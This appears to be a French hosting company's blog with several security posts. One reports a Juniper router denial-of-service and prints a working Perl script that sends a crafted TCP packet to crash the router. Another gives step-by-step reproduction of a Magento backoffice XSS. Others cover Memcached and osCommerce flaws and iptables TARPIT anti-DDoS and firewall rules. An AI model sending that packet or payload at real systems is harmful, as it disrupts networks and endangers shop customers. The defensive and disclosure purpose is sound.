Bon, normalement, on parle essentiellement Magento et hébergement ici. Il se trouve que ma société est aussi un acteur de longue date dans le monde de la sécurité informatique et donc forcément, ca nous passionne aussi (en plus ca fait partit de l’infogérance).

Donc après les failles XSS de Magento, qui semble t’il seraient aussi présente dans d’autres endroits du code après quelques tests,  une nouvelle qui risque de pas mal mettre la zone dans le routage internet ces prochains jours : Déni de service sur les Juniper…

Alors Juniper pour les personnes à qui ca ne cause pas, c’est une marque d’éléments actifs, notamment de routeurs, grand concurrent de Cisco. Ils font donc des routeurs à l’excellente réputation, mais là, ils ont dû rater un étage en codant la stack IP du routeur. Bref, en partant d’un BSD bien propre sur lui, on se retrouve pourtant avec le moyen de faire un « killer packet » :

$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
dst         => $port,
options     =>  "\x65\x02\x01\x01",
);

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

L’article original par son auteur se trouve ici et on trouve aussi des détails ici.

Comme me le disait Émile ce matin (le bosse de l’exploitation chez nous) : « ca sent la chasse aux pigeons ». En traduction littérale, vu le type de réseaux qu’équipe Juniper, il n’est pas impossible que quelques routeurs prennent des paquets evil dans les dents, juste histoire de les mettre à genoux.

Le paquet en question, rien qu’en réglant des champs d’options dans le header TCP, permet de faire rebooter le routeur à distance à peine 10 secondes après réception du paquet, sur un kernel panic en plus.

D’un autre coté, les routeurs réellement sensibles traitent du BGP et ne sont visibles en IP que pour les admins, ce qui devrait rendre difficile l’envoie de ce genre de paquets. A voir donc, mais il n’est pas exclu que ces gentils petits « killer packet » fassent parler d’eux.

D’autres questions subsistent à ce stade très en amont de la recherche sur cette faille : toutes les versions sont elles touchées, est-ce reproductible ou l’environnement nécessite t’il d’être dans un état très particulier ? Les FreeBSD vont ils hériter de la même vulnérabilité ? Bref, à peine 24h après la first disclosure, il n’est pas impossible que ca aille plus loin, très loin même, tout comme cette faille peut faire un beau « pschhhhit » et ne jamais impacter Internet. W8&C.

Mise à jour 11/01/2010 à 15h42 : La faille a été lancée plusieurs fois contre des Juniper de tests par mes amis et/ou collègues et … ca marche, très bien même. En fait il y a même le routeur d’un ami qui ne s’en est pas remis (pas rebooté). Ça sent la très méchante faille générique sur Juniper et l’impact pourrait être très costaud sur Internet et le routage global. N’hésitez pas à ajouter vos tests complémentaires ou points de vus en commentaires.

Mise à jour 11/01/2010 à 16h51 : bon ben comme ca c’est clair, votre routeur est, par essence vulnérable, http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/
Donc, il faut appliquer la  BCP38 sinon c’est la mort assuré de votre routeur s’il est visible d’Internet. La Best Common Practice 38 c’est : « filter at the edge », réduire au minimum requis les IP autorisées à accéder au routeur.

Mise à jour 12/01/2010 à 10h10 : Allez, visiblement, janvier ca va être la fête des poneys ! http://it.slashdot.org/story/10/01/11/1640232/Firm-To-Release-Database-Web-Server-0-Days?art_pos=11

Ça aussi ca promet un beau gros cauchemar de mise à jour puisque Mysql serait potentiellement victime d’un overflow (ou plusieurs). Encore une fois ca dépendra de la façon dont c’est exploitable mais dans le principe ca pourrait être dangereux.

Que la fortune se jette sur vous par surprise, que les anges du E-commerce bénissent le berceau de votre nouveau site web, que les trompettes de la gloire chante leur mélodieuse mélopée dans le creux de vos oreilles. Bref tout le meilleur à vous, à tous, que 2010 soit une année joyeuse !

Pour se chauffer en ce début d’année, une petite faille dans Magento ca vous dit ?

Le vieux démon est de retour chez Varien, le XSS

Je ne redécrirai pas cette classe de vulnérabilité car ce post précédent était assez détaillé sur le sujet et la littérature ne manque pas.

Magento, vu l’impressionnante quantité de code qu’il contient, est relativement bien géré sur ce plan, mais… L’usage de Zend et les bonnes pratiques mises en place par Yoav et Michael ne sont pas toujours suffisantes. Un moment d’égarement, un vieux bout de code jamais audité, personne n’est à l’abri.

La vulnérabilité du jour

En fait, elle est relativement mineure en terme de possibilités car il faut déjà être un utilisateur authentifié pour pouvoir l’exploiter. Ceci étant, une fois loggé dans le backoffice, peut mener des actions assez dangereuses en terme de Cross Site Scripting.

Les versions touchées de manière certaines sont les 1.3.2.xx en community edition, peut être que d’autres sont aussi vulnérables.

Le paramètre « product_name » n’est pas correctement nettoyé, « sanitized » en anglais. Cette procédure consiste à vérifier que la variable passée ne contient pas de « *’%$ et autres caractère spéciaux permettant de passer du Javascript.

Idem pour les variables : Product SKU, Product description, customer group name, category name, attribute set, sitemap path, customer tax class, product tax class, taxe rate id qui ne sont pas non plus nettoyées correctement.

Post original de la faille

Savoir si l’on est vulnérable à cette XSS

1. Allez dans le backoffice
2. Cliquez dans catalogue
3. Mettre les réglages par défaut et cliquer sur continuer
4. Entrez « <script>Alert(‘Cross Site Scripting’);</script>
5. Entrez des données au hasard dans les autres champs et cliquez sur ‘Save’
6. Cliquez sur Ventes->Commandes et « créer une nouvelle commande »
7. Choisissez un client
8. Cliquez sur « Ajouter un produit »
9. Sélectionnez le produit nouvellement créé et ajouter le produit à la commande
10. Et hop, une faille XSS !

Une méthode complète de tests ?

Bien évidemment, pour éviter cela, une analyse statique et/ou dynamique du code source produit après un commit SVN serait pertinent chez Varien. Évidemment, si c’est le cas chez Varien, c’est aussi vrai pour les web agency qui surcharge les classes du framework ou ne code pas toujours dans les normes.

Comment se protéger correctement ?

Déjà, pas de panique, la faille n’est pas gravissime car elle nécessite d’être déjà authentifié pour nuir. Techniquement, si quelqu’un a les accès en backoffice et veut nuir, ca risque d’être plus simple de faire autrement que de faire une XSS. Cela peut être une méthode subtil pour nuir cependant.

Imaginons qu’un concurrent réussisse à se connecter à votre backoffice, il lui sera alors possible de capter tous vos clients ou de leur nuire en infectant leurs browsers voir en détournant les commandes… Gênant.

Si (et ce n’est pas prouvé pour le moment), si la vulnérabilité touche aussi la version EE, les rôles peuvent être très séparés et du coup un stagiaire avec des droits de pioupiou pourrait injecter une XSS auprès des clients.

Que faire :

1. Mettre un mot de passe fort et ne faire des comptes qu’aux personnes de confiance
2. Déporter son backoffice sur un autre sous domaine et lui mettre un HTaccess
3. Mettre à jour sa version en 1.4 CE ou 1.7 EE
4. <chez Varien> auditer le code source <chez les webagency> faire auditer le site une fois qu’il est finit

Mes camarades de NBS System ont repéré une faille de D.O.S sur Magento qui est en cour de traitement chez Varien et qui ne sera donc rendu publique que lorsqu’elle sera patchée. Nous allons ici nous intéresser à Os commerce et Memcached.

Faille OS-commerce

Pour ceux qui tournent encore en OS-commerce, Milworm reporte une méchante faille de sécurité sur le célèbre framework. L’auteur (Flyh4t) propose un exploit effectif sur les version 2.2 RC2a au moins. Il est probable que d’autres versions soient vulnérables. Ca date du 31/08 mais bon, vu la vitesse à laquelle se patch le parc Français quand il y a une vulnérabilité… (cf la vulnérabilité sur le DNS de Kaminsky ou on a encore 8% du parc en non patché). Plus d’info ici.

Faille Memcached

On continue en musique avec un bon gros trou de sécurité qui fait mal, sur Memcached. Alors là, c’est plus critique car nombreuses, très nombreuses, sont les plateformes qui utilisent Memcached, sur Magento comme ailleurs, ce système de cache est populaire.

Et pan le memcached :  http://www.securityfocus.com/bid/35989

C’est goutu, frais, long en bouche et fruité, mais non ce n’est pas un bourgogne, c’est memcached qui a un bon overflow… Wahouuu le pire du pire, l’overflow et pas qu’un seul. La faille date du 7/08 à l’origine mais elle a été mise en jour le 14/12 pour être beaucoup plus générique.

Ça ne touche cependant « officiellement » que les distribution Linux suivantes (à ce jour) : les suze, redhat, parus, mandrake et danga. En général, un overflow dans un code en C, ce n’est pas fondamentalement lié à la distribution mais plus au code que la distribution a compilé pour son usage. Cela signifie globalement que le code source de memcached est susceptible de contenir des overflows et donc qu’avoir son propre système au dessus pour protéger votre infrastructure, ca ne fera pas de mal.

Les personnes sérieuses en infogérance installent GRsec & Pax quand ils mettent des serveurs Linux en visibilité sur Internet, notamment parceque PHP contient pas mal d’overflow et que tout démon est susceptible d’en connaitre, comme une fois de plus le montre cette faille de Memcached.

Grsecurity, l’anti Overflow

Je ne serai donc trop vous recommander d’utiliser GRsec sur vos environnement de production puisque c’est la seule façon de se protéger à 99% contre les heap & stack overflow, off by one et autres « boundary check errors ».

Rappelons que quelqu’un qui réussit une attaque par overflow va prendre le contrôle de la zone d’exécution  du programme ainsi que ses droits pour ouvrir un shell à distance. Une fois cela fait, même si le démon tournait en www-user ou avec un autre utilisateur non privilégié, l’escalade vers le compte root prend 90% du temps moins de 5 minutes. Les overflows sont donc l’une des plus grande menace possible sur un système si ce n’est la plus grande puisqu’ils mènent quasi tout le temps à une compromission totale du serveur.

Pour ceux qui découvrent GRsec : vous pouvez voir un (très) vieux howto que j’avais écris il y a 5 ans ici mais qui vous expliquera déjà au moins la base. Sinon le site de Grsecurity.net vous donnera de l’info aussi.

Sincèrement, exposer un serveur linux sur le net sans le protéger contre les overflows c’est un peu comme aller se faire une partie échangiste « thaïlando-congolaise » sans capote, disons qu’il existe un risque…

Le problème est, ma foi, assez simple :

En sécurité informatique, on sait de nos jours parer à la grande majorité des menaces. Si on se concentre sur la partie serveur et sur Linux, Grsex / Pax, un coup de hardening, un kernel statique et optimisé, du chroot et ma foi on est déjà pas mal…

Les démons comme apaches et Mysql, ainsi que les interprêteurs comme PHP ou Perl, sont protégés contre leurs ennemis intimes : les overflows. Les droits séparés, les arborescences protégées, les connexions filtrées, que peut on faire de plus ? Par exemple séparer le back office sur un autre vhost pour ajouter un htaccess afin de le protéger, auditer le site contre les vulnérabilités classiques, XSS, SQL injection etc…

Well… Que reste t’il, un ou deux mécanismes à protéger mais… Le D.D.O.S, c’est fatal.

Know your ennemy !

La D.D.O.S – Distributed Denial Of Services – c’est la grande frayeur de n’importe quel E-commerçant, de n’importe quel site gagnant de l’argent en ligne et surtout, de votre infogérant…

Un déni de service distribué consiste à envoyer des milliers, des dizaines de milliers, des centaines de milliers de requêtes simultanément. Si l’on limite la réflexion aux sites Web, il suffit, en général, de faire 10 à 50 000 connexions simultanées pour mettre à genou un serveur et/ou la connexion Internet des serveurs.

Ces innombrables connexions arrivent, en général, depuis des machines compromises, de partout dans le monde. Ces machines sont compromises par des vers, par exemple Confliker ou d’autres plus discrets, qui sommeillent dans des PC depuis des mois, à l’écoute des ordres. Ces machines, appelées Zombies, font partie de réseaux nommés Botnets.

Ensuite, c’est malheureusement d’une simplicité diabolique. Un script kiddy (ou même un vrai hacker) paye quelques poignées de dollars et loue tout simplement la puissance d’un botnet. Combien de machines, combien de temps, quelles commandes doit être lancée. Simple, terriblement efficace, imparable…

Les machines reçoivent les ordres et en quelques minutes, des centaines milliers de connexions pleuvent sur le site ciblé.

Comment éviter une D.D.O.S ?

Une D.D.O.S se base, pas essence, sur des machines compromises, la plupart du temps des bêtes PC de particuliers.

Evidemment, nous ne pouvons avoir une action sur ces machines directement. Les désinfecter à distance n’est pas possible, pas plus que cela ne serait autorisé du reste.

Ensuite, bloquer ces machines une par une dans un firewall est aussi inutile qu’impossible. Impossible à cause du volume, inutile car bloquer ces connexions n’empêchera pas le pirate d’en envoyer d’autres, d’en envoyer plus et de toute façon, si ce ne sont pas les serveurs qui craquent, ca sera la connexion Internet des serveurs.

Damned, we are done ?

Non. Plutôt que d’étudier le problème sous l’angle de ce qu’on ne peut pas faire, voyons plutôt ce que nos assaillants ne peuvent pas faire :

Il n’est pas possible pour le pirate de réellement patcher le noyau des machines Windows compromises. Si un ver se comportait de cette façon, il serait beaucoup moins efficace (capté par des anti virus) et beaucoup moins portable (selon les versions de Windows). Donc, les vers tournent en général au dessus, dans la couche logicielle. Résultat, ils sont obligés de faire ce que la couche du dessous demande…

Et c’est là que ce situe la faille de ces attaques, de ces vers. Si l’on arrive à forcer les machines à arrêter d’envoyer des paquets en utilisant une subtilité du protocole TCP, le driver de la carte réseau sera obligé d’agir et cet ensemble est lui directement au niveau noyau, donc prioritaire sur la couche logicielle

Voila un début solution semble t’il…

Tarpit : du goudron et des plumes !

Règle number one du Blog : plus c’est long, moins c’est lu… Je vais donc faire court et je ne vais pas non plus vous expliquer comment paramétrer un noyau linux et le compiler, de même pour le binaire iptables. Vous trouverez le noyau ici : ftp.kernel.org et pas mal de guide de survie en googlant.

Sinon j’en ai écris un il y a longtemps, mais ca devrait vous aider, ca se trouve ici. il y a des choses tout à fait dépassées, des choses inexactes dans les exemples de firewall mais je n’ai pas eu le temps de le corriger. Ceci étant, vous pouvez partir de là. vous aurez besoin de  recompiler aussi le binaire iptables en passant par la patch-o-matic, tout est expliqué ici.

Mais pourquoi Iptables et Tarpit sont nos amis ?

La règle TARPIT, et il existe d’autres moyens de faire cela évidemment, permet d’informer nos gentils PC zombies qu’ils sont priés d’attendre qu’on les recontacte avant de nous envoyer le prochain paquet réseau. Les machines Windows, comme la plupart des OS récents du reste, respecte le « window resizing ».

Quand on règle la fenêtre (window) de communication à une taille de zéro, la machine distante reste dans un état d’attente, jusqu’à ce que l’on remette une taille normale à la window TCP.

Mais que se passe t’il si l’on ne remet jamais la fenêtre à une taille normale ? Eh bien la machine reste en attente… Et c’est là que la solution se situe. La connexion se bloquera jusqu’à ce que l’OS fasse le ménage dans ses connexions inertes !

Ca peut prendre du temps… pas mal de temps en fait, quand bien même notre machine distante s’acharnerait en refaisant une connexion, à chaque nouvelle tentative, elle bloquera un peu plus sa propre « stack tcp », son propre système de gestion du réseau… Ca va prendre un peu de temps mais ca va bien ralentir l’attaque, d’autant plus que la plupart des machines ne réessayeront pas puisque la connexion n’est pas morte, elle est juste « en pause ».

Comment et à qui appliquer le Tarpit ?

Simplement en 1° scotchant la connexion attaquante 2° en dropant le paquet pour ne pas nous encombrer inutilement. Histoire de faire simple, on va se créer une règle qui fait ca en une fois.

iptables -N TARPIT_DROP
iptables -A TARPIT_DROP  -j TARPIT
iptables -A TARPIT_DROP  -j DROP

Ok mais si on fait un tarpit de tout le trafic entrant avec un iptables -I INPUT -P TARPIT_DROP ou la même chose en FORWARD, on va perdre tout le trafic entrant, y compris les vrais clients du site… C’est peut être un peu désagréable pour les personnes qui n’y sont pour rien.

Afin de trier le bon grain de l’ivraie, il va nous falloir être plus malin que les « bots », les zombies, qui nous attaquent. Il est possible de faire un peu de trie avec des IDS comme Snort par exemple ou sinon d’analyser les logs et les requêtes, ou encore même le rythme des connexions.

Quand on y réfléchit, il est assez simple de reconnaitre un bot car il fait toujours la même chose en général (par exemple un get /blabla.php) et/ou utilise une fréquence précise (par exemple toutes les 5 secondes).

Si l’on utilise un IDS, c’est lui qui pilotera les règles de firewalling (flex rules) directement quand il détecte un comportement anormal. Si l’on souhaite utiliser un parser de logs, il est très simple de lui donner la « pattern » de l’attaque (par exemple un get /blabla.php toutes les 5 secondes) et d’interdire toutes les machines utilisant cette pattern.

Si c’est une page spécifique qui est visée (blabla.php par exemple) il est aussi possible de détecter dans le contenu du paquet (sauf en https) le mot blabla et d’interdire, en fait de tarpiter les machines l’appelant. Certes, les personnes appelant réellement pour de bonnes raisons la page blabla vont être déçues, mais les autres vont être bloquées aussi. Si ca a lieu sur la homepage, cette méthode n’est pas applicable, mais sinon :

iptables -I INPUT -p tcp -s 0.0.0.0/0 –dport 80 -m string –string « blabla » –j TARPIT

Il nous reste d’autres possibilités, avec les mod geoip par exemple ou encore en tarpitant les connexions entrantes qui sont des réseaux similaires (49.230.xxx.xxx par exemple)

Il est possible de limiter en fonction du nombre de paquets et du type de paquets reçus par secondes. Iptables en fait est une usine à idées sans limite. Les attaques peuvent prendre plusieurs formes mais la réponse peut aussi être assez polymorphe à sa manière avec Iptables !

-m limit –limit 2/second –dport 80 –syn -j ACCEPT

Utiliser un mélange subtile des parameters limit et burst-limit peut permettre d’enrayer les flots de paquets réseau trop « soutenu ».

Mélanger subtilement –string pour identifier le contenu et –limit pour le rythme, –state pour l’état de la connexion et d’autres tests, cela peut aussi permettre des résultats intéressants en terme de détection :

iptables -I INPUT -p tcp –dport 80 –m string –string “blabla” –m limit –limit 1/6s –limit-burst 1 –m recent –name DDOSbot –set
iptables –I INPUT FORWARD -p tcp –dport 80 -m recent –name badguy –set -j TARPIT_DROP

iptables –I INPUT -m state –state NEW –m limit –limit 1/6s –limit-burst 1-j TARPIT_DROP

Là par contre, on a beaucoup limité les personnes qui sont tarpitées, en fait à celle faisant une nouvelle connexion plus souvent que toutes les 6 secondes ou si elles appellent la chaine blabla à la même fréquence. Encore une variante ?

iptables -I INPUT -m state –state NEW -m recent –update –seconds 20 –hitcount 4 -j DROP

iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN

Le parametre “Syn cookie” dans le noyau permet aussi de s’assurer qu’un petit malin ne nous flood pas à coup de SYN uniquement car s’il ne donne pas suite à sa connexion, elle ne sera pas maintenue, c’est un élément de protection indispensable. Et si notre assaillant est très « vieux jeu » et votre réseau très vétuste, qu’il utilise un ping flood, iptables -A INPUT -p icmp -m limit --limit  1/s --limit-burst 1 -j ACCEPT, devrait limiter se velléités. 

Si vous vous passez d’un IDS, vous aurez à analyser vous-même l’attaque, sa méthode et sa forme afin de déterminer la méthode la plus adaptée pour y répondre.  

L’analyse est un point vital et Tarpit une réponse fatale. 

More fun with Tarpit ?

Bon soyons clairs, on peut aller plus loin dans le fun.

Par exemple une personne qui scanne les machines va utiliser un scanner qui va soit utiliser des séquences TCP connues (SYN scan, Xmas Scan etc..) ou même un enchainement de ports, linéaire (1,2,3 etc…), spécifique croissant (21,22,23,25,80 par exemple) ou aléatoire (443,22,53,80,21 par exemple).

Dans tous ces cas, on peut utiliser un démon comme knocked par exemple, un démon de port knocking, pour identifier une séquence de scan. Une fois qu’on l’a identifié, le port knocker est censé ouvrir la connexion pour la personne qui a fait la bonne séquence. Faisons l’inverse puisque c’est un pirate, interdisons lui l’accès et au passage tarpitons le un petit coup…

Le plus drôle c’est qu’on va maintenir son IP en Tarpit et donc provoquer une connexion bloquée par port scanné et là… assez rapidement… sa machine va sévèrement bloquer du coté réseau

Alors, au final, Tarpit, c’est fun non ? Il existe de nombreuses autres options que vous pourrez trouver dans le kernel ou dans la patch-o-matic, toutes peuvent donner lieu à des mélanges très utiles.

Cet article est le premier d’une série de 3 sur la configuration d’un infrastructure Magento complète, comprenant pour l’exemple un serveur qui sera Firewall/Reverse proxy/Load Balancer, deux autres qui seront des Serveur Web frontaux et un quatrième qui sera en charge de la base de données.

Plan des posts

1/3 : Configuration du firewall, du load balancer et du Rproxy
2/3 : Configuration des serveurs Web (APC / Apache / PHP)
3/3 : Configuration de la base de données (Mysql)

Le setup de l’infrastructure Magento

Internet, routeurs et hop, on tombe sur quoi ?

Le Firewall, reverse proxy, load balancer.

Le premier élément réellement intelligent et puissant sur lequel on va pouvoir travailler, le premier serveur quoi. Parfois l’élément Firewall est séparé et repose sur une appliance en amont mais dans le principe, si vous faites dans le full opensource, vous aimez netfilter et donc le firewall de Linux.

C’est par ailleurs un excellent Firewall, je vais donc l’intégrer à ce petit tuto et même démarrer par là !

Pour cet exemple et le paramétrage des fichiers de configuration, le firewall/RP/LB est en 192.168.1.1, les serveurs Web sont en 192.168.1.2 et .3 et la DB est en 192.168.1.4 et le magasin « virtuel » s’appel www.demostore.fr.

Enfin, cote ip publique, j’ai utilisé 33.44.55.66 comme étant celle de demostore.fr et 88.77.111.222 comme étant celle des admins. Vous trouverez ces paramètres dans les fichiers de configuration du firewall, du reverse proxy et du load balancer, il faudra les modifier pour vos besoins.

Points non couverts dans ces 3 articles

Je vais me la jouer un peu à la Ruquier, donc ce soir, on ne recevra pas, euh pardon, dans cette série de 3 articles, on ne verra pas :

• Comment faire de la redondance mutli datacenter avec BGP et les synchros de sites & de DB
• Comment séparer les flux de bases de données en écriture & lecture sur deux DB
• Comment faire du Master/Master Master/Slave ou du Cluster en Mysql
• Comment isoler le backoffice en terme de performances sur les serveurs frontaux
• Comment isoler le backoffice en terme d’accès aux bases de données

On ne verra pas tout cela car :
D’une part parce que cela serait très long et très complexe à expliquer et que les compétences nécessaires pour faire le tour du sujet sont très vastes. D’autre part parce que ca va déjà faire un bon volume à rédiger et donc que ca va prendre du temps. Et enfin parce que ces points sont très critiques sur le terrain commercial et qu’ils sont actuellement des avantages en faveur de ma société vis à vis de ses concurrents.

Vu que la concurrence dans le milieu de l’infogérance Magento est assez active, ma société NBS System ne peux pas se permettre de révéler ses tous derniers tricks ou ses toutes dernières optimisations pour l’infogérance ou l’hébergemnt de Magento, mais ce qui sera décrit dans les 5 articles correspond à ce que nous utilisions fin décembre 2008, donc des configurations tout à fait décentes et efficaces.

En plus mes collègues bossent en ce moment même avec Zend pour faire un papier très complet sur les performances et l’optimisation avec ZAS (Zend Application Server), je ne vais donc pas dévoiler de secrets avant la publication officielle au Bargento 2.

Préambule sur GRSEC/PAX

Autre point, c’est peu décrit dans cet article mais plus dans un autre dont je donne le lien et aussi sur le net : GRSEC + PAX c’est l’assurance vie de vos serveurs. Ce n’est pas une option : c’est un pré-requis. Grsec/Pax impose de recompiler le kernel, tache un peu complexe quand on a pas l’habitude mais le couple vous protège à 99,999% contre tous les overflow, les off by one et autres cochonneries de ce genre. Que ce soit apache, mysql, php, squid, memcached, apc etc… tous ces applicatifs peuvent avoir un jour une faille de sécurité. Grsec c’est l’assurance que même si ca se produit (et ca se produira), vos serveurs ne seront pas compromis.

Le Firewall

Configuration simple

J’ai réalisé, il y a (très) longtemps de cela, un petit tutoriel pour prendre Iptables & Netfilter en main. Il est incomplet, très vieux, contient des erreurs ou des abbérations que je n’ai pas eu le temps de corriger dans les scripts mais les explications et schémas sont corrects. Vous remarquerez au passage ma maîtrise considérable dans la création de page Web, celle-ci à faillit avoir de nombreuses récompenses pour l’utilisation audacieuse des CSS, mais finalement le jury a préféré un autre site (curieusement).

Ceci étant, ce que l’on souhaite faire ici est assez simple :
- Interdire tout par défaut (comme tout firewall décent)
- Authoriser spécifiquement les connexions d’administration depuis nos IP
- Permettre d’accéder directement aux serveurs derrière également depuis nos IP

Attention, il existe de très nombreux tricks à mettre en place pour avoir le top du top, dans le /proc/sys/net/ipv4, afin d’ajouter des règles anti DOS, d’ajuster la stack IP pour la gestion des connexions demi ouvertes, gérer la réduction des timeouts, et puis aussi par des règles pour loger les attaques, ajouter des systèmes de sondes/IDS etc…

C’est un firewall assez basique que je vais exposer ici. Pour de très fortes charges, il faudra également vérifier les capacités de NAT de la machine qui repose sur un système de buckets, lui même calculé en fonction de la RAM de la machine. Il faudra également redonder la machine, etc… (Mais avant que vous en soyez là, vous pourrez largement vous payer les services de personnes qui voient très bien de quoi je parles)

Préparation du Kernel :

1. On télécharge les patchs de GRSEC ici, ici (et en option le patch pour iptables ici)
2. On télécharge le kernel qui va avec la version de grsec ici
3. On détar/dézip les archives et on applique les patchs (bzip2 -d kernel*; tar xvf grsec*;patch -p0 < gr*.patch)
4. On ajoute deux ou trois tools qui risque de manquer : install libncurses-dev ncurses-dev make gcc paxtest gradm2 chpax
5. On configure le kernel (make menuconfig), voici l’ultra minimum :
   - Pas de support des modules, tout en statique (ca évite l’insertion de backdoor)
   - networking/networking options/netfilter/ip:netfilter configuration/activer la majorité des options
   - Security options / Grsec: activez tout sauf dans kernel auditing juste les relocations et forks, dans Pax mettez tout.

C’est une config ultra minimaliste. Pour plus d’info de nombreux sites parle de la compilation du noyau, le howto iptables est un peu plus précis aussi mais c’est trop long à expliquer pour avoir une place ici. Après, de nombreuses petites ou grands optimisations peuvent être effectuées au niveau du noyau, les résultats, du coté performances, comme du coté sécurité s’en ressentiront. Disons que si vous avez correctement configuré votre kernel avec pax et grsec, normalement les autres options par défaut sont rarement débiles.

Pour le firewall à proprement parler, on va faire simple dans un premier temps :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150

#!/bin/bash
# short, simple, incomplete, not really commented iptables script for Debianed firewalls/rproxy/load balancers by Philippe Humeau (c) 2009 NBS System, lord Rusty forgive me, amen
 
IPTABLES="/sbin/iptables" 
 
case "$1" in
start) 
 
date=`date +'%b %d %k:%M:%S'`
ADMIN_IP="88.77.111.222" # <-------------- Change me !
SERVERS_IP="192.168.1.0/24"
SERVERS_WEB1="192.168.1.2"
SERVERS_WEB2="192.168.1.3"
SERVERS_DB="192.168.1.4"
INET="eth0"
SERVERS="eth1"
 
echo "$date -- Starting Firewall --" >> /var/log/kern.log
 
echo -e "-> \033[40m\033[1;31mSetting Default Policies to DROP \033[0m <-"
$IPTABLES -P INPUT DROP
$IPTABLES -P OUTPUT DROP
$IPTABLES -P FORWARD DROP 
 
echo -e "-> \033[40m\033[1;33mFlushing all rules & tables \033[0m <-"
$IPTABLES -F
$IPTABLES -X
$IPTABLES -Z
$IPTABLES -F INPUT
$IPTABLES -F OUTPUT
$IPTABLES -F FORWARD
$IPTABLES -t nat -F
$IPTABLES -t nat -Z
$IPTABLES -t nat -X
$IPTABLES -N LOG_DROP
$IPTABLES -A LOG_DROP -m limit --limit 6/h --limit-burst 1 -j LOG --log-tcp-options --log-prefix 'Dropped: '
$IPTABLES -A LOG_DROP -j DROP
$IPTABLES -N syn-flood
$IPTABLES -A syn-flood -m limit --limit 10/s --limit-burst 10 -j RETURN
$IPTABLES -A syn-flood -j DROP 
 
echo -e "-> \033[40m\033[1;34m Set kernel networking tweaks \033[0m <-"
echo 0 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_dynaddr
echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
echo 0 > /proc/sys/net/ipv4/tcp_timestamps
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 2 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 16384 > /proc/sys/net/ipv4/ip_conntrack_max
echo 1 > /proc/sys/net/ipv4/conf/all/log_martians
echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout
echo 2400 > /proc/sys/net/ipv4/tcp_keepalive_time
echo 0 > /proc/sys/kernel/printk
echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time
echo 0 > /proc/sys/net/ipv4/tcp_window_scaling
echo 0 > /proc/sys/net/ipv4/tcp_sack
echo 64 > /proc/sys/net/ipv4/ip_default_ttl
echo 2048 > /proc/sys/net/ipv4/ip_queue_maxlen
echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo 1 > /proc/sys/net/ipv4/tcp_ecn
 
echo -e "-> \033[40m\033[1;33m INPUT RULING \033[0m <-"
$IPTABLES -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A INPUT -i $INET -s $ADMIN_IP -j ACCEPT
$IPTABLES -A INPUT -i $SERVERS -p tcp --dport 11211 -j ACCEPT # memcached
$IPTABLES -A INPUT -i $SERVERS -s $SERVERS_IP -j ACCEPT        # accept très (trop) générique pour les requêtes des serveurs au rp/lb/fw
$IPTABLES -A INPUT -p ICMP -i SERVERS -s $SERVERS_IP -j ACCEPT
$IPTABLES -A INPUT -p ICMP -i lo -j ACCEPT
$IPTABLES -A INPUT -i $INET -s $SERVERS_IP -m limit --limit 3/m -j LOG_DROP # "Spoofed packet: "
$IPTABLES -A INPUT -f -m limit --limit 3/m --limit-burst 1 -j LOG_DROP # "Frag packet: "
$IPTABLES -A INPUT -i $INET -p icmp -m limit --limit 12/hour --limit-burst 1 -j LOG --log-prefix "ICMP: "
$IPTABLES -A INPUT -p tcp --dport 22 -m state --state NEW -m limit --limit 3/m --limit-burst 2 -j LOG_DROP # "SSH loggin attempt"
$IPTABLES -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth XMAS scan"
$IPTABLES -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -m limit --limit 3/m --limit-burst 5 -j LOG_DROP --log-prefix "Stealth XMAS-PSH scan"
$IPTABLES -A INPUT -p tcp --tcp-flags ALL ALL -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth XMAS-ALL scan"
$IPTABLES -A INPUT -p tcp --tcp-flags ALL FIN -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth FIN scan"
$IPTABLES -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth SYN/RST scan"
$IPTABLES -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth SYN/FIN scan(?)"
$IPTABLES -A INPUT -p tcp --tcp-flags ALL NONE -m limit --limit 3/m --limit-burst 5 -j LOG_DROP # "Stealth Null scan"
$IPTABLES -A INPUT -p tcp --dport 0 -m limit --limit 6/h --limit-burst 1 -j LOG_DROP # "Port 0 OS fingerprint"
$IPTABLES -A INPUT -p udp --dport 0 -m limit --limit 6/h --limit-burst 1 -j LOG_DROP # "UDP port 0 OS fingerprint"
